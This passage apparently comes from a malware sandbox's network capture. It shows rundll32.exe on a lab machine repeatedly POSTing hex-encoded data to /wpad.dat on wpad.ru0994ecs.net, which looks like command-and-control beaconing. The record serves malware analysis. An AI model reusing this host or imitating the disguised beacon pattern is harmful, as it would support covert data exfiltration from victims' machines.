2024-04-16 13:37:30 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:30 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ql6u3vGjEA4aRt%2FyX%2Fdz%2BMVZZibinoI5zdOrjM63hSaQnGbJmgr%2FFEVr%2BEP%2B9fRhBFe4ufdqxOAbbc1Dspx9w5wW2zth%2BaGqy0WO%2FDntDIlJo1SRUKBGZ7JhOPYntcLm6BHwyxM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492070b767bb7-ATL
2024-04-16 13:37:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.8	49846	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:32 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:32 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:32 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ltda%2BotctRvFwu6Xl58YKMIMz01yWmQEspIHS6fYohj1HLDV4rWaVZ6neyJscxFl4Ij13W9aB%2FeRxEfg4XOpoD7m0%2BeG%2FO3XrhLbNfLz9HdpFBkeZ%2BzlSRiBcm04bdTA9RFe20g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492115be253cd-ATL
2024-04-16 13:37:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.8	49847	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:33 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:33 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:33 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BU0EIRZbcZUyA60tlfJw%2BZUC5EaY09psIyhA5Q8ff6juDu6FzMToWyfWGnY6mGBRSjWquzd8xjq1AjAg6J8PmrLZw%2BqdsGQP9LAwZJ6%2FQVWE7hxoz%2BPs4%2BihkeTam3bGV30yxb4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549216e8b34527-ATL
2024-04-16 13:37:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.8	49848	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:33 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:33 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:33 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m3l3rTA0FVue7%2FQvb5CKGxoEunfZ0VQz9YeuigTuM5aGdnG1v8hDabUm4BRLvthPLflrvgulkYe7HYkJH55PlnwFkHiGJKPv1zh25qydJN8iPTREcmMvB%2B3ahUqcujgDuWdkaHc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754921769b44509-ATL
2024-04-16 13:37:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.8	49849	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:34 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:34 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:35 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F4OS0Q5%2FVGcQnGKFF2Qd%2FA23KdDiG7Pk3%2F38qhsKs5JMBFVc9IUvRnjYuezTfhgQFGHjNydN7Y434MkmeamIYrJjy6t9GYjpi%2FfPbgVMlADjN61JmaggmDZ4TpAaN3kOR3miiYs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492219ab86772-ATL
2024-04-16 13:37:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.8	49850	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:39 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E8a6aBjKbusMCbknJGnLf3v2elUv%2FwlproJqlZ0STH0lT0MUuBPDQLFboIJay2mbs4bZOIV9MDHAcuFAx2mJ0mCtbc1Jj2Tv4mQ4%2B67bQZTwygCwvJspcMb8r3z0mNAWE9Gv2EQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754923a2f8cb0d5-ATL
2024-04-16 13:37:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.8	49851	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:39 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=otzOA%2BXiYgOBeKAkCQtbo749wcD%2BvWAJBUlHQbyx%2BkyM%2B3ftnXTKnBhVBmO0nC6BgCM5WJux0qS1j2QB%2FalbXrKqK8DDqWlCrH1qyDZ3nkB9X2HVhgJNJxQVSg2dSlqK0DpGtPc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754923a5cd3ad83-ATL
2024-04-16 13:37:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.8	49852	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:39 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:39 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:39 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wnh%2BXSD4n61uZ8N6edOdWmEsd6gHZ5X5j9JCX36YYJjwnwlT9gHF3HlKUrXndsdpDO9fOxnE4MSbC%2FbOQ8BlG%2BRyQCVSvuWVZXys%2B5mOvEK96rye71TvmKXNkS1vGFuBH3TmSp4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754923e5cb212ed-ATL
2024-04-16 13:37:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.8	49853	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:41 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qNa6U5EjzD7Qrwry%2FRX919%2BsWRrNQ%2BKr2mIyqHdhzF80V2nomu1TWSwpkWXPdqKWVGz72X0IdSXdIo0hbkoHgGz6Nk8djN0ZsZKsPljoywH0s4J6ZhoTXwu2uDt4q2JitHCAomU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492489f6d6740-ATL
2024-04-16 13:37:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.8	49854	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:41 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6MA1%2BE7E5FttyObXGu57LQqqoaes5N3nNvVmDRD6v%2FFK%2FQCjjozxJaLUQrl3DW7zK21M04siHYgJIzJFphhWJ5nUXXxDtwfxqyMEohgLIttjsYXPDvLtjIBCtiSM3MkhOypvSXc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754924a7c50137d-ATL
2024-04-16 13:37:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.8	49855	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:41 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fKaNMIHrPISClWMmo%2FW9F%2Bug7aFaWza5IhoQNy7kSRd0pwx1Jt%2Fpi9WG0kY6H2%2Ba4B9wrnMmfn9P3M%2Fai0tGuIyXCbn8R6H%2BnBNdHIGsIH23GFf%2Fx9CnPqWTJFnC4Wh5tO%2FzSko%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754924a8d5f070b-ATL
2024-04-16 13:37:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.8	49856	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:42 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iZr%2BFI42zm0eIE2W6McwlfplFYfxmOk1GABxEkSUndl5Wj1o9oJIb1dY4GbXpyusSUEFpTnIm3zN03y8SxcTBfbmvxdmNUHF%2FFZjA8wCah%2FFDWmUXawrLdMwK47tUunDApnri2k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754924e3d16b08e-ATL
2024-04-16 13:37:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.8	49857	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:42 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=txXjbFDh2Vbqpzk7nVeGu9FRmEGx6XqZkVY4XEwI7kHjOPZ55hjwqjLQv95j4YjVUHhEzHoWYm%2FS3%2Fy8mmP1zpHwgx8q6VjNEhkfmrxFXJGx9N8sgY6QK2QIV50NGZ5XEijNwic%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754924e5bac4582-ATL
2024-04-16 13:37:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.8	49858	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:45 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
